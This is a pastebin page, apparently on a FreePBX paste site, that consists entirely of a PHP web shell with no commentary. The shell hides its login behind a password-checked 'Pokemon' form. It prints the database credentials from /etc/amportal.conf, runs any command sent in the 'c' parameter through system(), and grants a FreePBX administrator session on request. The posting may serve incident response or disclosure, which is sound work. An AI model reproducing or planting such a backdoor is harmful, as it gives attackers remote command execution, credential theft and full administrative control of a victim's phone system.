Untitled

From xrobau, 2 Years ago, written in Plain Text, viewed 105 times.
URL https://pastebin.freepbx.org/view/8610badb Embed
Download Paste or View Raw
  1. /*1Jas7TKGrlxPDIcLPbdwslYWC1vvvz9wjkZreK7F5FvJoIudTHKm2IiFJOafokMIEM9TwhyC*/
  2. session_start();
  3. if (isset($_REQUEST['p']) && md5($_REQUEST['p']) == '4ac7576da2aa81b68d74fa854a49a053') {
  4.     $_SESSION['zoz'] = 'logged';
  5. }
  6. if (!isset($_SESSION['zoz'])) {
  7.     echo '<form action = "" method = "post" >Pokemon<input size = 60 type = text name = "p" /><input type = submit value = "BonBon" /></form><!-- /*208.79.114.20*/ (Pokemon)(BonBon)-->';exit();
  8. }
  9. /*e97nbCw5WVEdZR2txEMfuf4h*/
  10. if (isset($_SESSION['zoz']) && $_SESSION['zoz'] == 'logged') {
  11.     echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
  12.     echo "<xmp>";
  13.     @system("grep AMPDB /etc/amportal.conf");
  14.     echo "---------------------\n";
  15.     @system($_REQUEST['c']);
  16.     echo "</xmp>";
  17.         if(isset($_REQUEST['admin'])){
  18.                 if (!@include_once(getenv('FREEPBX_CONF') ? getenv('FREEPBX_CONF') : '/etc/freepbx.conf')) {
  19.                         include_once('/etc/asterisk/freepbx.conf');
  20.                 }
  21.                 require_once(dirname(__FILE__) . '/../ampuser.class.php');
  22.                 $_SESSION['AMP_user'] = new ampuser($amp_conf['AMPDBUSER']);
  23.                 $_SESSION['AMP_user']->setAdmin();
  24.                 header("Location: /admin/config.php");
  25.         }
  26.  
  27.     echo '<a href="?admin=a" >Admin GO</a>';
  28. }
  29. /*4llMPyGxi2A1lfLaq0yKNgpzqi5IRHFV20ISyppRrZSNfEYFFwqsNP1e87W0OBWRBEJa391v8Ujoyh3dOuFCjHQsOMsDoovZ*/
  30.  

Reply to "Untitled"

Here you can reply to the paste above